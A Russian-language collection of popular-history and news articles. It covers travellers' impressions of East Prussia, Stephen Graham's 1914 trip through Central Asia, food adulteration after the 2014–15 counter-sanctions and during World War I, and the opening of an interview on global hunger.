Поезд несётся, и. перед окнами вагонов непрерывной вереницей тянутся местечки, селения, замки, города. Но и города у них не такие, как наши: у нас прежде всего показываются купола, кресты, колокольни; у них — фабричные трубы, нагроможденные уступами красные и серые стены, крутые черепичные крыши, да одна, много две кирхи на целый город поднимают к небу свои похожие на башенки колокольни».
Музыкальный критик М.Станиславский, посетивший Восточную Пруссию в 1912 году, заметил в очерке воспоминаний: «Первое, что бросается в глаза при переезде русско-германской границы, это невероятно увеличившееся благосостояние всей немецкой страны и её населения. Так, городское население поражает прямо своим необычайно сытым и довольным видом. Чернорабочие, подёнщики, уличные метельщики, грузчики, портовые рабочие, ломовые извозчики не представляют в этом отношении ни малейшего исключения, все выглядят здоровыми, опрятно одетыми и с охотой исполняющими свои обязанности людьми».
Драматург А.Островский как бы подытожил чувства, испытанные множеством его соотечественников, записав в путевом дневнике в 1862 году: «Поля возделаны превосходно, унавожены сплошь, деревни все каменные и выстроены чисто, на всём довольство. Боже мой! Когда-то мы этого дождемся!».
Специфическим был взгляд на пересечение русско-прусской границы у профессиональных революционеров, документы которых не всегда отличались исправностью. Один из организаторов контрабандной доставки нелегальной литературы А.Брейтфус вспоминал об этом времени: «Условия были крайне тяжелые. Бдительное око русских жандармов и пограничников было на высоте своего призвания. Так, перед Эйдткуненом уже в Шталопенене (Германия) и даже дальше можно было на станциях встретить развязных русских «шпиков», одетых по-дорожному и следящих за всеми русскими, отправляющимися на родину». У другого революционера, народовольца Н.Морозова, возвращение на родину в 1875 году вызвало тягостное чувство: «Странно было впечатление России после заграницы! Казалось, мы прибыли в военный лагерь. Везде мундиры со светлыми пуговицами. Вся платформа была оцеплена полицией».
Русские путешественники часто сравнивали прусскую и русскую железные дороги, увы, всегда в пользу первой. Миллионер В.Кокорев считал, что у немцев «дорога сделана для людей, а не для пустырей, как у нас», и поэтому она «есть истинное оживление для всей Восточной Пруссии». «Никакой тряски, ни малейшего дребезжания стекол, — писал Кокорев. — Рельсы в их стыках свинчены. Станции чисты, везде буфеты с отличными бутербродами. Езда гораздо скорее нашей, излишней траты времени на станции нет. Дорога так покойна, что никакого утомления не ощущается».
Ещё одно свидетельство композитора Чайковского о своей заграничной поездке в декабре 1892 года: «Ничего не может быть хуже, как мой переезд из Петербурга в Эйдткунен. Ехал я в самом пакостном вагоне. Неудобно, грязно, двери не запираются, звонок всё время звонит, и в довершение всего испортилась печь, и мы спали при 4 или даже 3 градусах температуры!!! Мыться тоже нельзя было, ибо трубы испортились и вода в них обратилась в лёд». И вот наконец граница: «В Эйдткунене пересел в превосходный теплый вагон. Остановился в превосходнейшей гостинице в Берлине».
Многие русские путешественники, глядя на мелькавшие за окном вагона картины ухоженных городов и сел, налаженного быта, здоровых и довольных жизнью обывателей, разумно устроенной жизни, как заметил М.Салтыков-Щедрин, не могли не испытывать чувство «какой-то непобедимой неловкости». И хотя великий сатирик оговаривался, что не считает «прусские порядки совершенными и прусского человека счастливейшим из смертных», всё-таки признавался, что если удел русского — неволя и бесправие, то немца — свобода и достоинство, при этом «на стороне Эйдткунена есть одно важное преимущество, а именно: общее признание, что человеку свойственно человеческое».
(Цитаты: Юрий Костяшов, «Восточная Пруссия из окна вагона курьерского поезда», журнал «Балтийский акцент», №1, 2012) Источник:
Оригинал статьи Юрия Костяшова « ВОСТОЧНАЯ ПРУССИЯ ИЗ ОКНА ВАГОНА КУРЬЕРСКОГО ПОЕЗДА » можно прочитать здесь:
ПОЕЗДКА СТИВЕНА ГРЭМА С РУССКИМИ ПЕРЕСЕЛЕНЦАМИ ПО СРЕДНЕЙ АЗИИ В 1914-М
В 1914 году английский журналист «The Times» и разведчик Стивен Грэм проехался по Средней Азии. Он описывает, насколько благотворно для этой местности оказалось переселение русских крестьян. Грэм делает верный вывод, что Россия из-за нехватки ресурсов не пойдёт в Афганистан, но другой его прогноз оказался неправильным, что Средняя Азия на столетия станет самым мирным местом.
В разгар Первой мировой войны, в 1916 г., издательство «Cassel and Company» выпустило книгу английского писателя и путешественника Стивена Грэма, посвященную его путешествию через Центральную Азию и Алтай. В основу книги легли шестнадцать статей Грэма, печатавшихся в мае – июле 1914 года в лондонской «The Times» и в еженедельнике «Country Life». В них описывалась поездка автора по южным территориям Российской империи – от берегов Каспийского моря до Алтая. Вообще конечной точкой путешествия Грэма был Дальний Восток, но он не успел добраться туда: началась война.
Стивен Грэм родился в 1884 году в Эдинбурге, в семье журналиста Питера Андерсона Грэма. Вскоре семья переехала в Лондон. Когда Стивену было 15, он купил у букиниста «Преступление и наказание» Достоевского на английском языке. Книга произвела на подростка такое впечатление, что он решил изучать русский язык, чтобы читать русскую литературу в оригинале. Это ему удалось. Учителем Грэма стал Николай Лебедев, русский студент-народник, снимавший квартиру в том же доме, где жила семья будущего писателя. Позже встречавшиеся с ним носители языка отмечали, что Грэм говорил по-русски совершенно свободно.
В 1906 году Грэм совершил свою первую поездку в Российскую империю. Он побывал в Варшаве, Москве и Нижнем Новгороде. Два года спустя – новая поездка: Харьков, Москва, Сергиев Посад. На этот раз он прожил в России несколько месяцев.
В 1909 году Грэм приехал в Россию, на Северный Кавказ. Там он прожил почти год. Итог – первая книга, «Бродяга на Кавказе». Грэм обошёл пешком северное побережье Черного моря, ездил с русскими паломниками на Пасху в Иерусалим. Вместе с русскими сектантами – эмигрантами Грэм проехал до Америки. Путешествие по Центральной Азии описывалось в статьях, написанных по заданию лорда Нортклиффа, владельца и главного редактора «The Times». Только два года спустя, в 1916-м, они были сведены в книгу.
После начала Первой мировой Грэм уехал в Петроград. Ещё год он оставался в России в качестве корреспондента «The Times», но затем вернулся в Англию. Последний год войны Грэм провел на фронте во Франции, вступив в Шотландский гвардейский полк.
После Февральской революции Временное правительство запретило ему въезд на территорию государства – весной 1917-го появились неопровержимые доказательства, что, начиная со своих первых поездок в Россию, он, наряду с журналистикой, работал и на английскую разведку. Грэм больше не приезжал в Россию. Однако его интерес к России никогда не исчезал. Грэм написал биографии Ивана Грозного, Бориса Годунова, Петра Первого, Александра II, Сталина. Всего он автор 32 книг.
Во время Второй мировой и после Грэм уже открыто работал консультантом по СССР английской разведки, в частности, он курировал российских эмигрантов, со многими из которых был знаком ещё до Революции. В частности, он проводил допросы представителей второй волны русской эмиграции – коллаборационистов, служивших у Гитлера, а в конце 1940-х перешедших под крыло английских разведслужб.
Писатель-эмигрант Роман Гуль вспоминал о своей встрече с Грэмом: «Он познакомил меня со своей секретаршей-сербкой. В русской речи Грэма появилось много сербизмов. Медленно расставляя слова, он сказал: «Какая жалость, что Гитлер не победил». Заметив мою остолбенелость, Грэм пояснил: «Жалость, потому что Сталин хуже и опаснее Гитлера». Я не нашелся, что ответить. Но сейчас — в 1984 году (когда Сталин — Хрущев — Брежнев — Андропов — Черненко поставили мир на край страшной ядерной гибели) — слова Грэма представляются провиденциальными».
Стивен Грэм умер в 1975 году в возрасте 91 года.
В путевых заметках по Центральной Азии он описывает русскую колонизацию этой местности. Путешествие началось 1 мая 1914 года, когда из Красноводска (который он называет одним из самых жарких, пустынных и убогих мест в мире) Грэм отправился в путь по Закаспийской железной дороге.
Первое впечатление автора – железная дорога в пустыне. Железнодорожное полотно не отличается высоким качеством, поэтому средняя скорость поезда не превышает 17 миль в час. Остановки на совершенно пустых станциях, где никто не сходит и никто не садится на поезд, могут составлять от 20 до 30 минут. Грэм удивляется, что столько сил и средств было вложено в этот чисто политический проект, когда, например, нет железной дороги для вывоза огромного урожая фруктов из Абхазии, а об огромных просторах Севера империи и говорить не приходится.
После Чимкента и далее к востоку начались земли, плотно заселенные русскими крестьянами, перебравшимися сюда из Центральной России и даже из Сибири. Везде в деревнях, построенных примерно по одному и тому же плану, русскими инженерами-гидрологами проложены арыки, в которых плавают утки. Вдоль улиц густо посажены деревья, так что даже в полуденную жару по ним можно спокойно ходить. В каждой деревне – здание управы, церковь, школа, почтовая станция. Много лавок, трактиров; в крупных поселениях, как правило, есть свой кинотеатр. Самое популярное название кинотеатров – «Свет».
У въезда в каждую деревню на щите написано ее название, дата основания и количество жителей.
Русские переселенцы привнесли в эти места новые сельскохозяйственные культуры. Выращивается много пшеницы и ячменя, но есть и поля с кукурузой, гречихой. Там, где позволяют климатические условия, выращивается много риса. Это чрезвычайно прибыльная культура, которая может дать до 100 рублей в год прибыли с одной десятины земли. Для сравнения: в нечерноземной России средняя доходность от озимой ржи составляла 3 рубля 92 копейки с десятины.
Грэм двинулся в путь вместе с одним из многочисленных караванов переселенцев из Центральной России. Они пересекли Сырдарьинскую область и направились далее, в Семиреченскую. Однако повозки плелись так медленно, что их можно было обогнать пешком. Грэм отмечает, что среди путников довольно много женщин, которые едут без сопровождения мужчин. Это никого не удивляет, а к женщинам все относятся с большим уважением. Русские женщины, как правило, едут к своим мужьям или женихам, которые несколько лет работают в этих местах, обжились, обзавелись хозяйством и теперь готовы осесть здесь вместе со всей семьёй.
После Бишкека Грэм двинулся дальше. Он несколько раз в своих статьях выражает мнение, что у России хватает и земли, и полезных ископаемых, её проблема – нехватка рук, чтобы освоить всё это, значит, она не будет продвигать свои границы дальше (в частности, в Афганистан).
Грэм описал русские села, стоящие вперемешку с казачьими станицами в предгорьях Алатау. О казаках он пишет, что это в первую очередь воины, а уже во вторую или даже третью – крестьяне. В целом Грэм с большим одобрением отнёсся к политике русского правительства по освоению Центральной Азии и Дальнего Востока. Вопросам переселенчества посвящены восемь его статей из шестнадцати.
Автор описывает свои встречи с караванами переселенцев, где волы или низкорослые лошадки тянут телеги с нагруженным добром: мебель, мешки с зерном, жестяные вёдра и корыта, плуги и бороны, узлы с одеждой – люди везут с собой все. На телеге лежат и невозмутимо жуют жвачку козы, в клетке недовольно кудахчут куры, встревоженные тряской. За телегой бежит привязанный к ней пёс. Никто не правит повозками: в жару люди укрываются под натянутым пологом и спят, а волы неторопливо бредут по дороге, никуда с нее не сворачивая. В караване может быть всего три-четыре телеги – это значит, что едет одна семья, но может быть и полсотни: переселяется сразу часть деревни.
Этот процесс, с виду бессистемный, идёт под четким контролем правительства. Грэм приводит документы: в начале каждого года по всем уездным городам рассылаются официальные списки губерний, в которых отведены земли для переселенцев из Центральной России и Сибири. Причем годом ранее в этих губерниях уже провели работу картографы и землемеры, нарезая участки на отведенных территориях: от 25 до 50 десятин на хутор, а в деревнях – от 8 до 15 десятин на каждого мужчину в семье. На засушливой территории уже проведены ирригационные работы, к землям будущих поселений подведена вода, дальше новые хозяева земли будут подводить её к своим участкам самостоятельно, но под руководством инженеров-гидрологов, работу которых оплачивает государство. Грэм приводит запись своей беседы с таким инженером, который полгода живет с семьей в Петербурге, а полгода проводит в Туркестане, где руководит работами по обводнению полупустынных земель.
Когда список земель становится известен, в деревне выбирают ходоков – тех, кто должен ехать выбирать землю. Ходоков посылают по одному от 3-5 семей, но не меньше чем двоих от деревни. Это очень ответственная работа: выбирать землю, на которой отныне придётся трудиться новым поколениям. При этом будущие переселенцы не смогут отказаться от земельных участков, которые выбрали для них ходоки. Ходоки получают в уездной управе документы. Чтобы неграмотные крестьяне могли разбираться в них, они напечатаны на цветной бумаге: паспорт ходока жёлтый, паспорт переселенца – розовый, документы, дающие право на перевозку багажа по железной дороге по специальному тарифу – зелёного цвета.
Поощрялся переезд в азиатскую часть Российской империи и рабочих любых специальностей, ремесленников, мелких торговцев. Артели рабочих могли подписать договор на выполнение работ по государственным контрактам, и тогда к месту работы их доставляли бесплатно, а обратные билеты они получали за 30% стоимости.
Поскольку ходоки могут далеко не сразу найти подходящую, с их точки зрения, землю, то их путешествие может продлиться три месяца, а может – три года. Железнодорожные билеты для ходоков и переселенцев обходятся им в одну четверть стоимости билета 3 класса. Дети до 10 лет едут бесплатно. Грэм приводит таблицы расстояния, тарифов на перевозку людей и багажа, официальную статистику налогов и сборов. Он отмечает, что правительство вынуждено каждый год издавать новые карты, чтобы обозначить на них новые сёла. Церковь, почтовая станция и здание для школы в каждой новой деревне возводится за государственный счёт. Кроме того, государство оплачивает сооружение нескольких общественных колодцев.
Конечно, не все переселенцы добиваются успеха на новом месте. Каждый год до 15% возвращаются в родные места. Иногда неудача – следствие изначально неверно выбранного места, где обустройство новой деревни обусловлено скорее задачей обороны той или иной долины, чем возможностями вести в ней сельское хозяйство. Особенно часто это бывает в Семиречье, где военные задачи считаются важнее задач гражданских.
Грэм отмечает, что далеко не все чиновники, с которыми ему пришлось общаться, одобряют политику правительства в деле переселенчества. Слишком много вопросов остается неучтёнными. Например, в Семиречье, на реках, которые текут с гор и отличаются резким перепадом уровня воды, государство построило двести мостов. Отлично! Но на их обслуживание и ремонт выделяется двести рублей в год! Рубль на мост! Так восклицает полковник инженерной службы, с которым Грэм проехал часть своего пути.
Далее Грэм описывает путешествие до Семипалатинска, плавание на небольшом пароходике по Иртышу до Мало-Красноярска и поездку в глубь Алтайских гор, где основой преуспевания сельских жителей являются маральники и пасеки. Сотни прирученных, но полудиких маралов в апреле-мае каждого года расстаются со своими рогами, которые затем экспортируют в Китай. Полученных средств вполне хватает на то, чтобы без проблем жить целый год.
Здесь, на Алтае, в станице Новоалтайская, в первых числах августа Грэма застало известие о начале войны с Германией.
В книге, опубликованной двумя годами позже, Грэм высказывал уверенность, что колонизованная Российской империей Центральная Азия на долгие годы, на столетия окажется одним из самых мирных регионов Старого Света. Увы, история показала, что он ошибался.
Источник:
В статье использована работа: Л.В. Зелениной «Центральная Азия глазами англичанина. Путешествие Стивена Грэма в 1914 году», напечатанная в журнале «Восточный архив» (№ 2 (30), 2014):
ОТРАВИТЕ МЕНЯ ПОДОРОЖЕ Полки отечественных магазинов заполонил фальсификат. Цены на продукты питания продолжают расти, а их качество падает. Найти настоящее молоко, сметану, масло, колбасу и даже хлеб практически невозможно.
Защитники прав потребителей отмечают, что до трети товаров в отечественных магазинах изготовлены с нарушениями. Наиболее часто фальсификации подвергаются пищевые продукты. Кризис, в который в очередной раз окунулась страна, а также президентский указ о введении контрсанкций, только усугубили ситуацию. После того как запретили поставки говядины, свинины, птицы, молока, овощей и фруктов из США и стран Евросоюза, фальсификат заполонил рынок.
Росстат ежемесячно фиксирует рост цен на продукты питания. Ситуация меняется от региона к региону, но в целом по стране с начала года стоимость продовольственных товаров выросла на 15%. Такой скачок можно считать беспрецедентным. Произошедшее напрямую связано с сокращением предложения импортной продукции, а также вынужденной сменой поставщиков продуктов питания.
Рынок отреагировал на эмбарго ростом потребительских цен. Так, по итогам 11 месяцев наибольший рост цен наблюдается на крупы и бобовые (44,9%), на сахарный песок (42,7%), на подсолнечное масло (30,4%), на фрукты и овощи (30,7%). К концу года существенно выросли цены на свежие огурцы и помидоры — в 1,7 раза и 1,3 раза соответственно, а также на белокочанную капусту — на 9,9%. Цены на рыбу и морепродукты выросли на 29,5%, на мясо и птицу — на 15,4%, на молоко и сливочное масло — почти на 14%, на куриные яйца — на 18,2%, на хлеб и хлебобулочные изделия — на 14,3%.
Однако продовольственное эмбарго привело не только к росту цен. Санкции должны были простимулировать рост отечественного производства. Но вместо этого резко снизилось качество продукции. Это признают даже представители власти.
Так, в своем недавнем интервью «Ъ» министр сельского хозяйства Александр Ткачев недоумевал: «Почему мы закрываем глаза на то, что у нас на полках мусор, а мы не можем его подмести? Я считаю, это неуважение к себе и собственному народу».
По данным исследовательского центра «Ромир», за последний год число российских потребителей, отметивших исчезновение из продажи некоторых или многих привычных продуктовых марок, выросло до 43% (годом ранее этот показатель был вдвое меньше). 39% россиян отметили ухудшение качества продуктов в течение 2015 года.
Своя специфика у Северо-Западного региона. До введения контрсанкций в местных магазинах были широко представлены скандинавские товары. Заменить их на аналогичные другого производства оказалось сложно.
О том, что качество пищевых продуктов продолжает ухудшаться, говорят и в Роспотребнадзоре. Правда, в ведомстве продолжают делать акцент на том, что продукты эти — иностранные. По словам главы службы Анны Поповой, в первом полугодии сотрудники Роспотребнадзора изъяли 720 тонн некачественных пищевых продуктов, из которых 465 тонн — зарубежные товары. То есть на каждые 10 кг некачественных продуктов приходится 6,5 кг импортных.
По словам руководителя системы добровольной сертификации «Качество и экология» Юлии Шеиной, после введения антисанкций ситуация с качеством продуктов питания ухудшилась. Ассортимент уменьшился и у крупных сетей, и в маленьких магазинах. Пропадают продукты, к которым россияне успели привыкнуть.
При этом эксперт напоминает, что качество продуктов питания в России никогда не было высоким. Например, вплоть до 50-60-х годов прошлого столетия существовал ГОСТ, по которому в колбасу можно было добавлять натриевую селитру. То есть пищевые стандарты всегда подстраивались под те условия, в которых существовало общество.
В настоящее время ситуация складывается таким образом, что крупные ретейлеры требуют от производителей дешевую продукцию. Ведь розничным торговым сетям необходимо накрутить свои проценты и получить прибыль. В итоге производитель должен искать более дешевые ингредиенты, а то и вовсе менять рецептуру. Например, молочный белок в молочных продуктах меняют на растительный — пальмовый или кокосовый. Для придания веса курицу наполняют гелем, который состоит из соленой воды с добавками. Ярко-красный цвет мяса лосося также говорит о том, что рыбу напичкали химическими добавками. В подобных случаях продукт натуральным уже назвать нельзя.
Проблему снижения качества усугубляет отсутствие специализированных лабораторий. Правильно поставить анализ практически негде. Система стандартов разрушена. Многие предприятия заказывают экспертизу у «дружественных» общественных организаций, которым не составит труда подготовить "правильное" заключение.
«А что происходит, например, с хлебом? Росстат сегодня просто не знает, сколько у нас в стране мукомольных и хлебообрабатывающих предприятий. У нас появилось огромное количество маленьких частных заводиков. С чем они работают, из какой муки они делают хлеб — никто не знает, потому что их вообще никто не проверяет. Трудно проверяются и крупные хлебозаводы. Хотя и говорят, что у них все хорошо. Получается, что потребитель вынужден доверять только тем словам, которые произносят представители заводов», — рассказала Шеина.
Когда ввели антисанкции, то власти заявляли, что это шанс для отечественного производителя проявить себя. Однако, избавившись от иностранных конкурентов, отечественные предприятия перестали уделять должное внимание качеству.
В Союзе потребителей "Росконтроль" регулярно выявляют фальсифицированную продукцию, зачастую вредную для здоровья.
Так, остро стоит проблема фальсификата в сфере производства молочной продукции. На прилавках действительно стало больше отечественной "молочки". Но качество товаров подчас вызывает сомнение. Как тут не вспомнить данные Росстата о том, что ввоз в Россию пальмового масла и его фракций за 10 месяцев 2015 года вырос на 25,1% и составил 702 тыс. тонн. Экспертиза 40 образцов сливочного масла и сыра, проведенная "Росконтролем", выявила в 70% торговых марок замену молочного жира растительным, в частности пальмовым маслом. Экспертиза девяти известных торговых марок сметаны показала ужасающие результаты: только два образца соответствуют всем требованиям безопасности и качества. В трех образцах обнаружен опасный антибиотик, одним из побочных эффектов которого является развитие глухоты. Он также оказывает токсическое действие на почки, пищеварительную и нервную систему (вызывает головокружение, тошноту, рвоту, диарею). "Росконтроль" провел экспертизу и сыров популярных брендов. Выяснилось, что 15 из 20 торговых марок — фальсификат.
На катастрофическую ситуацию с молочными продуктами указывает и председатель "Петербургского контроля" Всеволод Вишневецкий. Если раньше подделывали в основном дорогие продукты, то теперь уже подделывают кефир и молоко. На полках магазинов можно найти пакеты молока, в котором вообще отсутствует молочный жир. Был уже зарегистрирован случай, когда ребенок, попробовав такого молока, получил аллергический отек.
Нарушения выявляются и при проверке хлебобулочных изделий. «Росконтроль» проверил 17 изделий разных торговых марок — экспертизе подвергли хлеб, батоны, булочки для гамбургеров и хот-догов. Результаты испытаний показали, что большинство образцов как белого, так и черного хлеба содержат в 2-3 раза больше соли, чем разрешено для детей, и чем рекомендуется диетологами для взрослых. Были обнаружены значительные отклонения по содержанию белка и жира как в белом, так и в черном хлебе. Это может быть связано с низким качеством используемого сырья или несоблюдением рецептуры.
В рамках программы «Контроль качества» на экспертизу направили 27 наименований варено-копченых и полукопченых колбас, 18 из которых оказались фальсификатом. По результатам экспертизы у образцов, попавших в «черный список», найдены не заявленные в составе изделий ингредиенты, которые производители добавили для удешевления продукции — соевый и коллагеновый белок, мясо птицы механической обвалки, шкуру животных, крахмал, а также различные влагоудерживающие агенты, которые позволяют увеличивать вес продукта за счет влаги, удешевляя его себестоимость.
По словам сопредседателя Союза потребителей «Росконтроль» Александра Борисова, налицо умышленный обман потребителя. "Наблюдая рост фальсифицированной продукции, мы видим необходимость ужесточить ответственность за такого рода нарушения», — считает он.
Вместе с тем в Российском институте потребительских испытаний не думают, что на продуктовом рынке произошли радикальные изменения в части качества.
«К тому же так и не понятно, что считать отечественным продуктом. Если он сделан российскими руками, но на иностранном оборудовании, то это российский продукт или нет? А если он на 70% состоит не из отечественных ингредиентов, но произведен в России, то что тогда? Вот к нам из Индии идут огурцы в подготовленном к засолке виде, а консервирование происходит уже в России. Так какой это огурец — российский или индийский?» — недоумевает председатель Высшего Совета РИПИ Ирина Виноградова.
21 декабря стало известно о том, что Совет ЕС продлил действие санкций в отношении России еще на полгода — до конца июля 2016. Соответственно, и Россия не собирается ставить крест на запрете продуктового импорта из США и европейских «санкционеров». А значит, кривая продуктового качества продолжит падение.
Константин Семернев
Источник :
Твердюкова Е.Л.
ВО ВРЕМЯ ПЕРВОЙ МИРОВОЙ В РОССИИ ФАЛЬСИФИЦИРОВАЛИ ДО 70% КОЛБАСЫ И ХЛЕБА Твердюкова Елена Дмитриевна — доктор исторических наук, доцент Санкт-Петербургского государственного университета На любое трудное время пищевики России реагирует одним способом: массовой фальсификацией продуктов. В 1914-16 годах города заполонили суррогаты: колбаса с крахмалом, снятое молоко, собачатина вместо говядины, мокрый хлеб. Был и аналог нынешнего пальмового масла – масло кокосовое.
В последний год в ответ на продуктовые санкции правительства РФ против сограждан, снижение уровня жизни и архаизацию сознания россиян отечественная промышленность наладила выпуск фальсифицированных продуктов. Особенно ужасающая ситуация – в сегменте молочных продуктов, где основу «сыра», «масла», «сметаны» и пр. стало составлять пальмовое масло.
Но, оказывается, нынешнее время не уникально. В годы Первой мировой наблюдалась почти такая же ситуация. Об этом рассказывает историк Елена Твердюкова в статье «Колбаса дело доверия»: фальсификация пищевых продуктов в годы Первой мировой войны» (журнал «Новейшая история России», №1, 2015).
На основные пищевые продукты (хлеб, молоко, масло, мясо, колбасу) власти ряда городов с началом Первой мировой войны устанавливали твёрдые цены — таксы, нередко сопровождая их обязательными постановлениями о взысканиях (в том числе о крупных штрафах) за несоблюдение цен, обмеривание, обвешивание и фальсификацию. Именно поэтому качество этих продуктов проверялось в первую очередь.
Петроградская городская лаборатория в 1913-1916 годах ежегодно проводила в среднем по 2,5 тысячи анализов (см. таблицу), выявляя недоброкачественные (прогорклые, просроченные и т. п.) и фальсифицированные продукты.
Чаще всего внимание исследователей привлекал ржаной хлеб, составлявший основу рациона большей части населения страны. Несмотря на наличие скрупулезных хлебных такс, невозможно было предусмотреть в них все виды продукции, выброшенные на рынок мошенниками. Так, в конце апреля 1916 года в лавках Севастополя продавался не только ржаной и пшеничный хлеб первого и второго сорта, но и манный, и «сдобный». Как выяснили сотрудники санитарной лаборатории, последний оказался обыкновенным (с примесью сахара) пшеничным хлебом, имевшим желтый цвет из-за специальной краски — шафрана, распущенного в растительном масле. Манный хлеб также был выпечен из пшеничной муки, качеством даже ниже второго сорта. Сотрудникам лаборатории «пришлось под свою ответственность уничтожить, изъяв из продажи.
Но даже хлеб первого и второго сорта совершенно не обязательно изготовлялся из соответствующей муки. Пользуясь отсутствием единых рецептур, пекари произвольно сочетали при выпечке высококачественную муку с более дешёвой. В результате второй сорт хлеба шёл за первый, а второй нередко оказывался совершенно чёрным.
В 21 из 25 проинспектированных пекарен Севастополя было зафиксировано нарушение таксы в результате некачественного исходного сырья. На одном из складов специально нанятые продавцом-посредником женщины из сваленных на полу гнилых комков с помощью колотушки и сита получали муку «высокого» сорта. Горький хлеб становился обыкновенным явлением, а публика даже не жаловалась на это.
В результате почти любой хлеб имел такое качество, что должен был стоить вполовину дешевле таксы, а на карман покупателя ложились подделка и продажа не того сорта, а также количественная фальсификация. Так, в Казани французские булки могли весить от 207 до 296 граммов (то есть разница доходила до половины веса) при единой и неизменной цене, обусловленной таксой. Впрочем, только два города отметили в своих анкетах 1915 года систематическое занижение веса продуктов как способ обойти таксу. Ещё 33 указали на общее ухудшение качества продуктов, от которого и страдал, главным образом, рядовой потребитель.
Из 475 образцов хлеба, исследованных в Петроградской санитарной лаборатории в 1896-1897 годах, 77,9% были выпечены с большим содержанием воды. Исследования 1913-1915 годов показали, что качество чёрного хлеба в столице ещё более ухудшилось. Большинство проб признавались недоброкачественными вследствие плохой выпечки: мякиш был маркий, малоупругий, с избытком воды (50-54% проб). В 1915 году количество влаги в мякише доходило до 60,6%, в представленных образцах были найдены личинки мучных жучков, тараканы, грязное сено, навоз, дёготь, окурок с махоркой, плесень, семена куколя и сорных трав, крысиный помет, песок. Лишь 18 проб (6,5% от проверенных) оказались удовлетворительны.
Неудивительно, что периодически фиксировались случаи отравления хлебом. Например, за пять дней декабря 1915 года в московские больницы обратились 225 человек (евших за обедом ржаной кислый хлеб, купленный в булочных Ф. Тихомирова и его пекарне) с признаками токсического гастрита, но в действительности пострадавших было значительно больше.
Возросший в годы войны спрос на молоко (которое поставлялось и в лазареты), а также простота его фальсификации обусловили появление на рынке некачественного продукта. Чаще всего покупателю продавали снятое молоко как цельное или же просто разведённое водой.
Если в мирное время 6,7% поступивших в столичную лабораторию образцов представляли собой разбавленное молоко (примерно столько же фиксировалось по результатам исследований в 1904-1912 годах), то во второй половине 1914 года года таких проб было 21,1%, а в 1917 году оказалось уже 56,3%. Иногда «молоко» на 85% состояло из воды.
Анализы, произведённые в 1914 году, показали также, что 45% образцов содержали менее 3% жира (при установленной норме не менее 4%). Отделение лаборатории на Балтийском вокзале, контролировавшее качество всего привозного молока и произведшее в 1914 году 7713 проб, выявило, что только 13% не соответствовали норме по жирности. Это свидетельствовало, что именно город (а не деревня) служил очагом распространения фальсификатов.
Сливочное масло традиционно фальсифицировалось салом и коковаром (кокосовым маслом). Но с началом войны и прекращением поставок кокосового масла масштабы «затратных» способов фальсификации сократились. Врачом Н.Немиловой было исследовано 16 проб масла, взятых у молочных фирм, на рынках и в мелочных лавках. Из них две представляли собой маргарин, одна имела значительную примесь творога. Остальные являлись натуральным маслом. Отчасти относительно невысокий процент фальсификата объяснялся дороговизной продуктов: уже в августе 1914 года цены на масло в Петрограде были на 20,8% выше, чем за год до этого. Для получения максимальной выгоды не требовалось ни затрат, ни материала, достаточно было простого завышения цены (в том числе за счёт подмены сортности).
Мясники нашли способ обойти твёрдую таксу, по которой разрешалось увеличивать вес куска мяса за счёт костей. Но кто мог проверить, что это за кости и откуда они взялись? Здесь открывался широкий простор для махинаций: к трём фунтам мяса прилагался довесок в полтора фунта костей и субпродуктов. Находились дельцы, скупавшие головы, ливер и кости на бойнях по 5-10 копеек за фунт и снабжавшие ими нуждавшихся в довесках мясников. А в Казани в 1915 году из 51 пробы говядины в двух были найдены довески в виде собачьего мяса и в девяти — конины. Качественное филе шло в рестораны и привилегированным особам.
«Под особым покровительством» таксы находилась колбаса. Но почти во всех лавках она продавалась подкрашенная (особенно копченых сортов) и с примесью картофельной муки. Ещё в 1913 году работниками Ревельской рыночной комиссии в 12 из 13 взятых проб была обнаружена добавка крахмала. Но попытка привлечь производителей к ответственности оказалась безуспешной «за неимением закона для установления наказания». Колбасники злоупотребили доверием и увеличили выработку недоброкачественной продукции, особенно дешёвых сортов, так что от фальсификата страдало главным образом малообеспеченное население. Например, в чайной колбасе (стоимостью 12 копеек за фунт) содержалось 15-30% крахмала, а иногда и более.
Гарантированный массовый сбыт продукта обусловливал «полную беззастенчивость» поставщиков. Фальсификат не только поступал в розничную продажу, но шёл на снабжение армии, лечебных и хозяйственных организаций. Так, из 63 проб молока, доставленного в Петроградскую санитарную станцию в 1915 году больницами и лазаретами, 40 (63,5%) оказались сфальсифицированы. Из них 26 образцов представляли собой цельное молоко, разбавленное водой, 9 — снятое молоко, 3 — снятое молоко, разбавленное водой, 2 — разбавленное водой с добавлением сливок.
Решение проблемы многие видели в передаче дела снабжения в руки общественных организаций. В 1915 году петроградский городской голова И.И. олстой созвал особое совещание представителей санитарной и благотворительной комиссий и городских попечительств о бедных для выработки проекта установления общественного контроля за торговлей, в том числе за доброкачественностью продуктов. Эту обязанность совещание решило возложить на участковых санитарных попечителей, которые имели бы право посещать любые торговопромышленные заведения, помещения и склады. Помимо врачей, к работе планировалось широко привлекать обывателей. Однако петроградский градоначальник А.Н.Оболенский опротестовал соответствующее постановление Думы под предлогом, что подобные попечительства не предусмотрены Городовым положением и подрывают основы государства.
Источник:
Полностью статью Е.Д. Твердюковой можно почитать здесь:
"ГОЛОДНО НЕ ТАМ, ГДЕ НЕБОЛЬШИЕ УРОЖАИ, А ТАМ, ГДЕ ЕСТЬ БЕДНЫЕ" Население Земли постоянно увеличивается, а продуктов на всех не хватает. И хотя принято считать, что голодают в основном жители стран третьего мира, на самом деле это далеко не так. Даже если в государстве достаточно продуктов, к продовольственной опасности приводит несправедливое распределение еды. О том, можно ли решить проблему глобального голода, рассказал директор ВНИИ сельскохозяйственной микробиологии РАН, профессор Игорь Анатольевич Тихонович . — Согласно прогнозам специалистов ООН, к 2050 году численность населения планеты увеличится на 30% и превысит 9 млрд человек. Проблема наступления глобального города становится все более актуальной? — Надо говорить о продовольственной безопасности. Этим вопросом занимается специальный комитет при FAO (Food and Agriculture Organization — продовольственная и сельскохозяйственная организация ООН — "Росбалт"). Комитет так и называется — по всемирной продовольственной безопасности (HLPE – КВПБ). По данным экспертов КВПБ, число недоедающих на планете растет. Если в 1971 году их было 875 млн человек, то в 2009 году — уже 1 млрд человек. Существует мнение, что сильнее всех голодает черная Африка. В африканских странах действительно много голодающих. Но, что было для меня удивительным, многие жители Китая тоже недоедают.
